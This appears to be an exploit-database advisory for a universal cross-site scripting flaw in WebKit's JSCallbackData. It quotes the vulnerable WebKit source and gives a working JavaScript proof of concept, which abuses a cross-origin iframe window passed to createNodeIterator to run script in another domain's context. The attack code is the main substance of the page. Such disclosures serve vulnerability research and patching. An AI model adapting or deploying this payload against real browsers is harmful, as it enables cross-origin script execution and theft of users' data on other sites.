Apple Webkit 'JSCallbackData' Universal Cross-Site Scripting

2017.04.05
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

<!-- Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object. class JSCallbackDataStrong : public JSCallbackData { public: JSCallbackDataStrong(JSC::JSObject* callback, void*) : m_callback(callback->globalObject()->vm(), callback) { } JSC::JSObject* callback() { return m_callback.get(); } JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); } JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException) { return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException); } private: JSC::Strong<JSC::JSObject> m_callback; }; JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException) { ASSERT(callback); auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1) ASSERT(globalObject); ExecState* exec = globalObject->globalExec(); JSValue function; CallData callData; CallType callType = CallType::None; if (method != CallbackType::Object) { function = callback; callType = callback->methodTable()->getCallData(callback, callData); } if (callType == CallType::None) { if (method == CallbackType::Function) { returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2) return JSValue(); } ... } ... } But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context. PoC: --> "use strict"; let f = document.body.appendChild(document.createElement("iframe")); f.onload = () => { f.onload = null; try { let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow); iterator.nextNode(); } catch (e) { e.constructor.constructor("alert(location)")(); } }; f.src = "https://abc.xyz/";

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1068


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top